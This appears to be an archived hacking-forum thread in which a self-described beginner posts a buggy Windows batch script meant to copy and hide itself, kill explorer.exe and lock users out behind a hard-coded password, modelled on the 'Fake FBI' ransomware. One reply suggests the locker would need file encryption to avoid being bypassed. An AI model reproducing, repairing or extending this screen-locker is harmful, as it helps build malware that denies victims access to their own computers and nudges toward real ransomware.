Sinisterly
Creating a lock-down password bat - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: Creating a lock-down password bat (/Thread-Creating-a-lock-down-password-bat)



Creating a lock-down password bat - fumsent - 09-16-2013

Okay, I'm trying to create a Batch file that autorun on login or before doesn't matter. I am trying to get it to Lock out user until they enter the password in the batch file. I don't know if it is possible sense bat Is limited. If I can get some help that would be great So far the password works, and the shut down. I am trying to recreate something like the Fake FBI viruse, but with out the webpage. I am new to coding. So far I have this.

@echo off
title d
:a
If not exist "%userprofile%\program\d.bat" goto b
If exist"%userprofile%\program\d.bat" >null goto c

:b
copy "d.bat" "%userprofile%\program\d.bat" >null
goto c
(error in the above line, need to wirte register to autostart)
:c
taskkill /f /IM explorer.exe
attrib +h "%userprofile%\program\d.bat" >null

echo enter password to Login
set/p "pass=>"
if NOT %pass%== 400670 goto Confusedhutdown -s
if %pass%== 400670 goto d
:d start explore.exe

(explorer doesn't seem to start back up when the correct password entered)

If anyone can help me that would be great!


RE: Implementing a security - bluedog.tar.gz - 09-16-2013

How is this title related to the content?


RE: Implementing a security - VirusHacker - 09-16-2013

what? I do not understand o.O


RE: Creating a lock-down password bat - Aut•ono•mous - 06-25-2014

I'm confused, are you trying to create Ransomware with a batch file? Batch probably wouldn't be the best route to take for ransomware, & if you're not encrypting the files on the victim's machine, its going to be very easily bypassed.

So what is it you're trying to do, & what is its intent? There's may be a better approach. Smile


RE: Creating a lock-down password bat - chmod - 06-25-2014

(06-25-2014, 10:52 PM)Aut•ono•mous Wrote: I'm confused, are you trying to create Ransomware with a batch file? Batch probably wouldn't be the best route to take for ransomware, & if you're not encrypting the files on the victim's machine, its going to be very easily bypassed.

So what is it you're trying to do, & what is its intent? There's may be a better approach. Smile

I very much doubt OP will still be interested in this since it was posted over a year ago and hasn't been online in almost as long

/closed